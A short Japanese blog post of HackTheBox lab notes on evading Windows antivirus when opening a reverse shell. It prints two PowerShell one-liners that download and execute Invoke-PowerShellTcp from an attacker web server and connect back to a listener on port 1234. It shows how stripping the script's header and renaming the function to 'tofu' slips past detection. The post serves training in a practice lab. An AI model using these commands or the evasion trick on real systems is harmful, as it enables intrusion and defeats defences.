🐷
【HackTheBox】Windowsマシンでのリバースシェル時にアンチウイルスを回避する
状況
Windowsマシンでreverse shellを取ろうとした際にAntivirusに引っ掛かってInvokePowerShellTcpが封じられてしまいました。
Reverse shellを取るときは以下のペイロードをよく使います。
解決策
Ippsecが上げているビデオを参考に直しました。Acuteマシンでも似たようなことができるようですね。
すること
webshell等でRCEを実行する
powershell -c "iex(new-object net.webclient).downloadstring('http://10.10.14.17:8080/Invoke-PowerShellTcp.ps1')";Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.17 -Port 1234
通常上のようなコマンドを送ってつなぎに行きます。
-
Invoke-PowerShellTcp.ps1
があるファイルがある場所でpythonサーバが建っている - ncでポート1234でリッスンしてある状態
アンチウイルスに引っ掛かる
上の画像のようにwebshellからコマンドを実行すると、引っ掛かってしまいました。
アンチウイルス回避
Invoke-PowerShellTcp.ps1を見ます。
頭の部分を消す
赤く囲まれた部分の中身をすべて消します。
名前の変更を行う
functionの名前がInvoke-PowerShellTcpとなっているのですべて変更します。
vimで:s%/Invoke-PowerShellTcp/tofu/g
あたりのコマンドを使うと一括で変更できます。
再度実行
powershell -c "iex(new-object net.webclient).downloadstring('http://10.10.14.17:8080/Invoke-PowerShellTcp.ps1')";tofu -Reverse -IPAddress 10.10.14.17 -Port 1234
tofuを実行するようにすればアンチウイルスを抜けてリバースシェルを奪うことができます。
最後に
たまたま触っていたマシンでこれができただけかもしれませんが、メモとして残しておきます。
Discussion